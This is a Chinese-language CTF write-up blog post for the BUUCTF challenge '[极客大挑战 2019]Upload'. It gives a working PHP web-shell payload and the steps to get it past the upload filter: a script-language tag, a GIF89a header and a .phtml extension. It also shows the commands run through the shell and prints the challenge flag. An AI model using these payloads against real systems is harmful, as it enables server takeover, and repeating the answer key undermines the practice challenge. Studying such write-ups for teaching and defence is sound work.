【BUUCTF】WEB-刷题记录-[极客大挑战 2019]Upload
题目信息
- 题目名称: [极客大挑战 2019]Upload
- 题目分类: Web
题目描述
文件上传题目,要求上传头像文件。
解题步骤
第一步:访问题目
打开题目链接,发现是一个文件上传页面,需要上传图片作为头像。

第二步:分析上传点
- 表单提交到
upload_file.php - 前端有文件选择按钮和提交按钮
第三步:尝试直接上传PHP文件
1 | system($_GET["cmd"]); |
结果: 被拦截,提示 NO! HACKER! your file included '<?'
说明服务器过滤了 <? 关键字。
第四步:绕过<?过滤
使用 <script language="php"> 短标签绕过:
1 | <script language="php">system($_GET["cmd"]);</script> |
结果: 报错 Don't lie to me, it's not image at all!!!
说明需要伪装成图片文件。
第五步:添加GIF文件头
在文件开头添加 GIF89a 伪装成GIF图片:
1 | GIF89a<script language="php">system($_GET["cmd"]);</script> |
结果: 上传成功!文件名 webshell.phtml
第六步:获取webshell
访问上传的文件:
1 | http://xxx/upload/webshell.phtml?cmd=ls / |
发现服务器根目录有 flag 文件。
第七步:读取flag
1 | http://xxx/upload/webshell.phtml?cmd=cat /flag |
得到flag: flag{b5c90453-0a6d-4d0c-a222-443038f5f7b9}
知识点总结
文件上传绕过
- MIME类型检测:修改Content-Type为image/gif
- 文件头检测:添加GIF89a文件头
- 后缀名检测:使用phtml后缀
PHP代码绕过
- 短标签绕过:
<script language="php">代替<?php - 或使用
<%=system($_GET["cmd"]);%>
- 短标签绕过:
文件包含
- 上传目录通常可被直接访问
- phtml文件会被PHP解析器执行
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 末心的小博客!










